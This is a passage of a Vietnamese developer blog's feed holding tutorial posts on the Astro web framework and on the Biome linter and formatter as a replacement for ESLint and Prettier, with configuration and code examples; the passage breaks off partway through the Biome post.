&lt;p&gt;Nếu bạn đang tìm theme để bắt đầu blog với Astro, Astro Paper là lựa chọn đáng thử nhất.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/satnaing/astro-paper&quot;&gt;Astro Paper GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pagefind.app/&quot;&gt;Pagefind — Static Search Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vercel/satori&quot;&gt;Satori — OG Image Generation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Astro — Web Framework Cho Content-First Site</title><link>https://dopana-blog.pages.dev/blog/astro-web-framework-cho-content-first-site</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/astro-web-framework-cho-content-first-site</guid><description>Astro là web framework content-first với Islands Architecture, zero JS mặc định. Content Collections, View Transitions, Server Islands cho site nhanh.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Astro là web framework cho content-first site. Khác với Next.js hay Nuxt — Astro ship zero JavaScript mặc định, chỉ thêm JS khi cần.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Next.js:  page → React → JS bundle → gửi JS cho client
Astro:    page → HTML → gửi HTML cho client (JS chỉ thêm nếu cần)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả: site nhanh hơn, LightHouse 100/100 dễ hơn, ít JS hơn.&lt;/p&gt;
&lt;h2&gt;Islands Architecture&lt;/h2&gt;
&lt;p&gt;Astro không hydrate toàn bộ trang. Nó chỉ hydrate các &quot;island&quot; — component React/Vue/Svelte riêng lẻ.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// src/pages/index.astro
import Header from &apos;../components/Header.astro&apos;
import LikeButton from &apos;../components/LikeButton.tsx&apos;
import Comments from &apos;../components/Comments.svelte&apos;
---

&amp;#x3C;!-- Static HTML — không JS --&gt;
&amp;#x3C;Header /&gt;

&amp;#x3C;!-- Island — chỉ component này có JS --&gt;
&amp;#x3C;LikeButton client:load /&gt;

&amp;#x3C;!-- Island khác — lazy hydrate khi scroll tới --&gt;
&amp;#x3C;Comments client:visible /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client Directives&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;&amp;#x3C;!-- Load JS ngay khi trang load --&gt;
&amp;#x3C;Component client:load /&gt;

&amp;#x3C;!-- Load khi idle (cho component không critical) --&gt;
&amp;#x3C;Component client:idle /&gt;

&amp;#x3C;!-- Load khi component visible trong viewport --&gt;
&amp;#x3C;Component client:visible /&gt;

&amp;#x3C;!-- Load khi tương tác (click, hover) — cho modal/dropdown --&gt;
&amp;#x3C;Component client:only=&quot;react&quot; /&gt;

&amp;#x3C;!-- Tương tác media query --&gt;
&amp;#x3C;Component client:media=&quot;(min-width: 768px)&quot; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mỗi island là một JS bundle riêng — không load React cho đến khi cần.&lt;/p&gt;
&lt;h2&gt;Zero JS Mặc Định&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// Astro component — không runtime JS
const posts = await getCollection(&apos;blog&apos;)
---

&amp;#x3C;html&gt;
  &amp;#x3C;head&gt;&amp;#x3C;title&gt;Blog&amp;#x3C;/title&gt;&amp;#x3C;/head&gt;
  &amp;#x3C;body&gt;
    &amp;#x3C;h1&gt;Bài Viết&amp;#x3C;/h1&gt;
    {posts.map(post =&gt; (
      &amp;#x3C;article&gt;
        &amp;#x3C;h2&gt;&amp;#x3C;a href={`/blog/${post.slug}`}&gt;{post.data.title}&amp;#x3C;/a&gt;&amp;#x3C;/h2&gt;
        &amp;#x3C;p&gt;{post.data.description}&amp;#x3C;/p&gt;
      &amp;#x3C;/article&gt;
    ))}
  &amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả: HTML thuần. Không React runtime, không hydration, không JS bundle.&lt;/p&gt;
&lt;h2&gt;Content Collections&lt;/h2&gt;
&lt;p&gt;Content Collections là cách quản lý Markdown/MDX content có schema validation.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/content.config.ts
import { defineCollection, z } from &apos;astro:content&apos;

const blog = defineCollection({
  schema: z.object({
    title: z.string().max(60),
    description: z.string().max(160),
    publishDate: z.coerce.date(),
    tags: z.array(z.string()).default([]),
    draft: z.boolean().default(false),
  }),
})

export const collections = { blog }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
import { getCollection } from &apos;astro:content&apos;

// Tất cả bài viết (trừ draft)
const posts = await getCollection(&apos;blog&apos;, ({ data }) =&gt; !data.draft)

// Sắp xếp theo ngày
const sorted = posts.sort(
  (a, b) =&gt; b.data.publishDate.valueOf() - a.data.publishDate.valueOf()
)
---

{posts.map(post =&gt; (
  &amp;#x3C;article&gt;
    &amp;#x3C;h2&gt;&amp;#x3C;a href={`/blog/${post.id}`}&gt;{post.data.title}&amp;#x3C;/a&gt;&amp;#x3C;/h2&gt;
    &amp;#x3C;time&gt;{post.data.publishDate.toDateString()}&amp;#x3C;/time&gt;
    &amp;#x3C;p&gt;{post.data.description}&amp;#x3C;/p&gt;
  &amp;#x3C;/article&gt;
))}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// [slug].astro — dynamic route
import { getCollection, getEntry } from &apos;astro:content&apos;

export async function getStaticPaths() {
  const posts = await getCollection(&apos;blog&apos;)
  return posts.map(post =&gt; ({
    params: { slug: post.id },
    props: { post },
  }))
}

const { post } = Astro.props
const { Content } = await post.render()
---

&amp;#x3C;article&gt;
  &amp;#x3C;h1&gt;{post.data.title}&amp;#x3C;/h1&gt;
  &amp;#x3C;Content /&gt;
&amp;#x3C;/article&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;View Transitions&lt;/h2&gt;
&lt;p&gt;View Transitions cho phép chuyển trang mượt mà không cần SPA:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// src/layouts/Layout.astro
---

&amp;#x3C;html&gt;
  &amp;#x3C;head&gt;
    &amp;#x3C;!-- Bật View Transitions cho toàn site --&gt;
    &amp;#x3C;meta name=&quot;view-transition&quot; content=&quot;same-origin&quot; /&gt;
  &amp;#x3C;/head&gt;
  &amp;#x3C;body&gt;
    &amp;#x3C;slot /&gt;
  &amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng component Astro:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
import { ViewTransitions } from &apos;astro:transitions&apos;
---

&amp;#x3C;html&gt;
  &amp;#x3C;head&gt;
    &amp;#x3C;ViewTransitions /&gt;
  &amp;#x3C;/head&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Custom Animation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
import { fade, slide } from &apos;astro:transitions&apos;
---

&amp;#x3C;a href=&quot;/blog&quot; transition:animate={slide}&gt;Blog&amp;#x3C;/a&gt;

&amp;#x3C;div transition:animate={fade({ duration: &apos;0.3s&apos; })}&gt;
  &amp;#x3C;slot /&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần React Router, không JS bundle. Trình duyệt xử lý animation native.&lt;/p&gt;
&lt;h2&gt;Server Islands&lt;/h2&gt;
&lt;p&gt;Astro cho phép render component dynamic trên server — không gửi JS cho client:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// Component render ở server, cache riêng
import Dashboard from &apos;../components/Dashboard.astro&apos;
---

&amp;#x3C;Layout&gt;
  &amp;#x3C;Dashboard server:defer /&gt;
  &amp;#x3C;!-- Component render trên server, stream HTML khi sẵn sàng --&gt;
&amp;#x3C;/Layout&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng cho: dữ liệu user-specific, API call nặng, cache riêng biệt.&lt;/p&gt;
&lt;h2&gt;Image Optimization&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
import { Image } from &apos;astro:assets&apos;
import hero from &apos;../images/hero.png&apos;
---

&amp;#x3C;!-- Tự động resize, format AVIF/WebP, lazy load --&gt;
&amp;#x3C;Image
  src={hero}
  alt=&quot;Hero image&quot;
  widths={[400, 800, 1200]}
  sizes=&quot;(max-width: 800px) 100vw, 800px&quot;
  loading=&quot;lazy&quot;
  decoding=&quot;async&quot;
/&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Astro tự động tối ưu: resize, format, responsive &lt;code&gt;srcset&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Integrations&lt;/h2&gt;
&lt;p&gt;Astro hỗ trợ UI framework phổ biến qua integrations:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx astro add react # React
npx astro add vue # Vue
npx astro add svelte # Svelte
npx astro add solid # SolidJS
npx astro add tailwind # Tailwind CSS
npx astro add mdx # MDX support
npx astro add vercel # Vercel adapter
npx astro add sitemap # Sitemap
npx astro add partytown # Web Workers
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build Output&lt;/h2&gt;
&lt;h3&gt;Static Site (Mặc định)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm run build
# dist/ — HTML, CSS, JS tĩnh
# Deploy lên Netlify, Vercel, Cloudflare Pages, S3...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server-Side Rendering&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// astro.config.ts
import vercel from &apos;@astrojs/vercel/serverless&apos;

export default defineConfig({
  output: &apos;server&apos;,
  adapter: vercel(),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# dist/server/ — server entry point
# API routes + dynamic pages render on request
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hybrid&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// astro.config.ts
export default defineConfig({
  output: &apos;hybrid&apos;,  // Mặc định static, opt-in server
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// pages/dashboard.astro — render trên server
export const prerender = false
---
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Astro vs Next.js&lt;/h2&gt;
&lt;p&gt;| | Next.js | Astro |
|---|---|---|
| JS mặc định | React runtime (~40KB) | Zero JS |
| Rendering | SSG/SSR/ISR | Static/SSR/Hybrid |
| UI framework | React (Next) | React/Vue/Svelte/Solid (tuỳ chọn) |
| Content | File system hoặc CMS | Content Collections |
| Image | next/image | astro:assets |
| Routing | File-based + App Router | File-based |
| API routes | ✅ | ✅ (server mode) |
| View Transitions | ❌ (cần thư viện) | ✅ Built-in |
| Islands | ❌ (hydrate whole page) | ✅ Islands Architecture |&lt;/p&gt;
&lt;h3&gt;Chọn Next.js khi:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Web app phức tạp, cần nhiều client interaction&lt;/li&gt;
&lt;li&gt;Dashboard với real-time data&lt;/li&gt;
&lt;li&gt;Cần API routes phía backend&lt;/li&gt;
&lt;li&gt;Team quen React ecosystem&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Chọn Astro khi:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Content site (blog, docs, landing page)&lt;/li&gt;
&lt;li&gt;E-commerce product pages&lt;/li&gt;
&lt;li&gt;Portfolio, marketing site&lt;/li&gt;
&lt;li&gt;Site cần load nhanh, SEO tốt&lt;/li&gt;
&lt;li&gt;Muốn dùng nhiều UI framework cùng lúc&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Astro sinh ra từ một insight đơn giản: hầu hết web là content, không phải app.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// Blog này chạy Astro — zero JS cho content, island cho interactive parts
const posts = await getCollection(&apos;blog&apos;)
---

{posts.map(post =&gt; (
  &amp;#x3C;article&gt;
    &amp;#x3C;h2&gt;{post.data.title}&amp;#x3C;/h2&gt;
    &amp;#x3C;p&gt;{post.data.description}&amp;#x3C;/p&gt;
  &amp;#x3C;/article&gt;
))}

&amp;#x3C;!-- Only interactive part gets JS --&gt;
&amp;#x3C;LikeButton client:visible /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Tính năng | Astro |
|---|---|
| Zero JS mặc định | ✅ |
| Islands Architecture | ✅ |
| Content Collections | ✅ Schema, type-safe |
| View Transitions | ✅ Built-in |
| Server Islands | ✅ |
| Image optimization | ✅ |
| Multi-framework (React/Vue/Svelte) | ✅ |
| Static + SSR + Hybrid | ✅ |
| Bundle size | Trang này ~0KB JS |&lt;/p&gt;
&lt;p&gt;Nếu site bạn là content-first — blog, docs, marketing, landing page — Astro là lựa chọn tốt nhất hiện tại.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/concepts/islands/&quot;&gt;Astro Islands Architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/content-collections/&quot;&gt;Astro Content Collections&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/view-transitions/&quot;&gt;Astro View Transitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/images/&quot;&gt;Astro — Image Optimization&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Biome — Toolchain TypeScript Thay ESLint + Prettier</title><link>https://dopana-blog.pages.dev/blog/biome-toolchain-linter-formatter-cho-typescript</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/biome-toolchain-linter-formatter-cho-typescript</guid><description>Biome là toolchain Rust cho JS/TS, thay thế ESLint + Prettier. Tốc độ nhanh hơn 10-20x, zero config, tích hợp sẵn linter + formatter.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Biome là unified toolchain cho JavaScript/TypeScript/JSX/TSX — vừa linter, vừa formatter, viết bằng Rust.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ESLint  (lint)  + Prettier (format)
     ↓           ↓
   Biome (cả hai — nhanh hơn 10-20x)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không plugin, không config rườm rà, không chờ đợi.&lt;/p&gt;
&lt;h2&gt;Tại Sao Biome?&lt;/h2&gt;
&lt;h3&gt;Vấn đề với ESLint + Prettier&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Setup mệt:
npm i -D eslint prettier eslint-config-prettier \
  @typescript-eslint/parser @typescript-eslint/eslint-plugin \
  eslint-plugin-react eslint-plugin-react-hooks

# 5 file config:
.eslintrc.js  .prettierrc  .eslintignore  .prettierignore  tsconfig.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ESLint 8s — chậm. Mỗi lần chạy linter: load parser, load plugin, parse AST, traverse, report. Prettier parse lại từ đầu.&lt;/p&gt;
&lt;h3&gt;Biome khác gì?&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chỉ 1 lệnh:
npm i -D @biomejs/biome

# 1 file cấu hình (tùy chọn):
biome.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Biome dùng chung một AST parser (rust-based), chạy lint + format trong một pass. Kết quả: nhanh hơn ~10-20x.&lt;/p&gt;
&lt;p&gt;| | ESLint + Prettier | Biome |
|---|---|---|
| Thời gian format | 300-800ms | ~20-50ms |
| Thời gian lint + format | 2-5s | ~50-100ms |
| File config | 3-5 files | 0-1 file |
| Plugin | Hàng trăm | Built-in (mở rộng dần) |
| Language support | JS/TS + plugin | JS/TS/JSX/TSX/JSON/CSS |&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir biome-demo &amp;#x26;&amp;#x26; cd biome-demo
npm init -y
npm i -D @biomejs/biome
npx biome init # tạo biome.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;biome.json&lt;/code&gt; mặc định:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;$schema&quot;: &quot;https://biomejs.dev/schemas/1.9.4/schema.json&quot;,
  &quot;organizeImports&quot;: {
    &quot;enabled&quot;: true
  },
  &quot;linter&quot;: {
    &quot;enabled&quot;: true,
    &quot;rules&quot;: {
      &quot;recommended&quot;: true
    }
  },
  &quot;formatter&quot;: {
    &quot;enabled&quot;: true,
    &quot;indentStyle&quot;: &quot;space&quot;,
    &quot;indentWidth&quot;: 2,
    &quot;lineWidth&quot;: 80
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chạy thử:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx biome format src/ # format
npx biome lint src/ # lint
npx biome check src/ # lint + format + organize import
npx biome check --apply src/ # tự động sửa
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Formatter&lt;/h2&gt;
&lt;p&gt;Biome format giống Prettier nhưng nhanh hơn và có khác biệt nhỏ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Input
const foo = { a: &apos;hello&apos;, b: &apos;world&apos;, c: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] }
const bar: Record&amp;#x3C;string, string&gt; = { &apos;some-key&apos;: &apos;some-value&apos;, &apos;another-key&apos;: &apos;another-value&apos; }

// Prettier output
const foo = {
  a: &apos;hello&apos;,
  b: &apos;world&apos;,
  c: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],
};
const bar: Record&amp;#x3C;string, string&gt; = {
  &apos;some-key&apos;: &apos;some-value&apos;,
  &apos;another-key&apos;: &apos;another-value&apos;,
};

// Biome output (gần giống, khác dấu phẩy cuối và indent default)
const foo = {
  a: &quot;hello&quot;,
  b: &quot;world&quot;,
  c: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khác biệt chính với Prettier:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Format attribute kiểu khác&lt;/li&gt;
&lt;li&gt;Import sorting (built-in, không cần plugin)&lt;/li&gt;
&lt;li&gt;Semicolons mặc định: có&lt;/li&gt;
&lt;li&gt;Quote style mặc định: double&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Import Organization&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Input lộn xộn
import { z } from &apos;zod&apos;;
import { readFile } from &apos;node:fs&apos;;
import { useEffect } from &apos;react&apos;;
import { initTRPC } from &apos;@trpc/server&apos;;
import { createHTTPServer } from &apos;@trpc/server/adapters/standalone&apos;;

// Sau biome check --apply
import { readFile } from &apos;node:fs&apos;;
import { useEffect } from &apos;react&apos;;
import { z } from &apos;zod&apos;;
import { initTRPC } from &apos;@trpc/server&apos;;
import { createHTTPServer } from &apos;@trpc/server/adapters/standalone&apos;;
//            ↑ node built-in → npm packages → local (tự động)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần &lt;code&gt;eslint-plugin-simple-import-sort&lt;/code&gt; hay &lt;code&gt;@trivago/prettier-plugin-sort-imports&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Linter&lt;/h2&gt;
&lt;p&gt;Biome linter có sẵn ~200+ rules, được nhóm theo category:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;linter&quot;: {
    &quot;rules&quot;: {
      &quot;recommended&quot;: true,
      &quot;complexity&quot;: {
        &quot;noForEach&quot;: &quot;error&quot;,
        &quot;noBannedTypes&quot;: &quot;error&quot;
      },
      &quot;style&quot;: {
        &quot;noNonNullAssertion&quot;: &quot;error&quot;,
        &quot;useConst&quot;: &quot;error&quot;,
        &quot;useTemplate&quot;: &quot;error&quot;
      },
      &quot;suspicious&quot;: {
        &quot;noConsoleLog&quot;: &quot;warn&quot;
      },
      &quot;correctness&quot;: {
        &quot;noUnusedVariables&quot;: &quot;error&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rule categories: &lt;code&gt;a11y&lt;/code&gt;, &lt;code&gt;complexity&lt;/code&gt;, &lt;code&gt;correctness&lt;/code&gt;, &lt;code&gt;performance&lt;/code&gt;, &lt;code&gt;security&lt;/code&gt;, &lt;code&gt;style&lt;/code&gt;, &lt;code&gt;suspicious&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Rule Ví Dụ&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// complexity/noForEach
// ❌ Biome báo lỗi: forEach không hỗ trợ async, prefer for...of
[1, 2, 3].forEach(async (n) =&gt; {
  await fetch(`/api/${n}`);
});

// ✅
for (const n of [1, 2, 3]) {
  await fetch(`/api/${n}`);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// correctness/noUnusedVariables
function process(data: string) {
  const result = transform(data); // ❌ result không dùng
  return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// style/useTemplate
const name = &apos;World&apos;;
const msg = &apos;Hello, &apos; + name + &apos;!&apos;;   // ❌ prefer template literal
const msg2 = `Hello, ${name}!`;        // ✅
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migration từ ESLint + Prettier&lt;/h2&gt;
&lt;h3&gt;Bước 1: Cài Biome&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm i -D @biomejs/biome
npx biome init
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bước 2: Xoá ESLint + Prettier&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm uninstall eslint prettier eslint-config-prettier \
  @typescript-eslint/parser @typescript-eslint/eslint-plugin \
  eslint-plugin-react eslint-plugin-react-hooks

rm .eslintrc.js .eslintrc.json .prettierrc .eslintignore .prettierignore
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bước 3: Chạy check và sửa&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx biome check --apply src/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bước 4: Thêm vào package.json&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;scripts&quot;: {
    &quot;lint&quot;: &quot;biome check src/&quot;,
    &quot;format&quot;: &quot;biome format --write src/&quot;,
    &quot;check&quot;: &quot;biome ci src/&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Editor Integration&lt;/h2&gt;
&lt;h3&gt;VS Code&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx @biomejs/biome init --vscode
# Hoặc cài extension &quot;Biome&quot; từ marketplace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;.vscode/settings.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;editor.formatOnSave&quot;: true,
  &quot;[javascript]&quot;: {
    &quot;editor.defaultFormatter&quot;: &quot;biomejs.biome&quot;
  },
  &quot;[typescript]&quot;: {
    &quot;editor.defaultFormatter&quot;: &quot;biomejs.biome&quot;
  },
  &quot;[json]&quot;: {
    &quot;editor.defaultFormatter&quot;: &quot;biomejs.biome&quot;
  },
  &quot;editor.codeActionsOnSave&quot;: {
    &quot;source.organizeImports.biome&quot;: &quot;explicit&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lưu ý khi đã có ESLint extension&lt;/h3&gt;
&lt;p&gt;Tắt ESLint extension hoặc disable cho project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;eslint.enable&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CI/CD&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# GitHub Actions
name: Lint
on: [push, pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
      - run: npm ci
      - run: npx biome ci src/
        # biome ci — không sửa file, chỉ báo lỗi
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Husky + lint-staged
# .lintstagedrc.json
{
  &quot;*.{js,ts,jsx,tsx,json}&quot;: [&quot;biome check --apply&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ignore Files&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;files&quot;: {
    &quot;ignore&quot;: [&quot;dist&quot;, &quot;build&quot;, &quot;.next&quot;, &quot;coverage&quot;]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc file &lt;code&gt;.gitignore&lt;/code&gt; — Biome tự đọc &lt;code&gt;.gitignore&lt;/code&gt; mặc định.&lt;/p&gt;
&lt;h2&gt;Tùy Chỉnh Format&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;formatter&quot;: {
    &quot;enabled&quot;: true,
    &quot;indentStyle&quot;: &quot;space&quot;,
    &quot;indentWidth&quot;: 2,
    &quot;lineWidth&quot;: 100,
    &quot;lineEnding&quot;: &quot;lf&quot;,
    &quot;attributePosition&quot;: &quot;auto&quot;
  },
  &quot;javascript&quot;: {
    &quot;formatter&quot;: {
      &quot;quoteStyle&quot;: &quot;single&quot;,
      &quot;jsxQuoteStyle&quot;: &quot;double&quot;,
      &quot;trailingCommas&quot;: &quot;all&quot;,
      &quot;semicolons&quot;: &quot;always&quot;,
      &quot;arrowParentheses&quot;: &quot;always&quot;,
      &quot;bracketSpacing&quot;: true
    }
  },
  &quot;json&quot;: {
    &quot;formatter&quot;: {
      &quot;trailingCommas&quot;: &quot;none&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Nên Dùng Biome?&lt;/h2&gt;
&lt;h3&gt;✅ Nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dự án mới bằng TypeScript&lt;/li&gt;
&lt;li&gt;Team đang dùng ESLint + Prettier, muốn chạy nhanh hơn&lt;/li&gt;
&lt;li&gt;Monorepo với nhiều package&lt;/li&gt;
&lt;li&gt;CI pipeline chậm vì lint&lt;/li&gt;
&lt;li&gt;Developer experience — muốn ít config hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Chưa nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Cần plugin ESLint đặc thù (&lt;code&gt;eslint-plugin-import&lt;/code&gt;, &lt;code&gt;eslint-plugin-jsx-a11y&lt;/code&gt; nâng cao)&lt;/li&gt;
&lt;li&gt;Dùng &lt;code&gt;eslint-plugin-vue&lt;/code&gt; / &lt;code&gt;eslint-plugin-angular&lt;/code&gt; — Biome chưa hỗ trợ&lt;/li&gt;
&lt;li&gt;Dùng Prettier plugin cho Markdown/YAML — Biome format JSON/JS/TS/CSS&lt;/li&gt;
&lt;li&gt;Custom parser / custom ESLint rule nội bộ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh Tốc Độ&lt;/h2&gt;
&lt;p&gt;Codebase ~1000 file TypeScript:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ESLint + Prettier
time npx eslint src/ --fix &amp;#x26;&amp;#x26; npx prettier --write src/
# → ~8.4s

# Biome
time npx biome check --apply src/
# → ~0.4s

# Nhanh hơn ~20x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không chỉ nhanh hơn — còn ít flaky hơn vì không có conflict giữa plugin.&lt;/p&gt;
&lt;h2&gt;Biome trong Monorepo&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;workspace&quot;: [&quot;packages/*&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
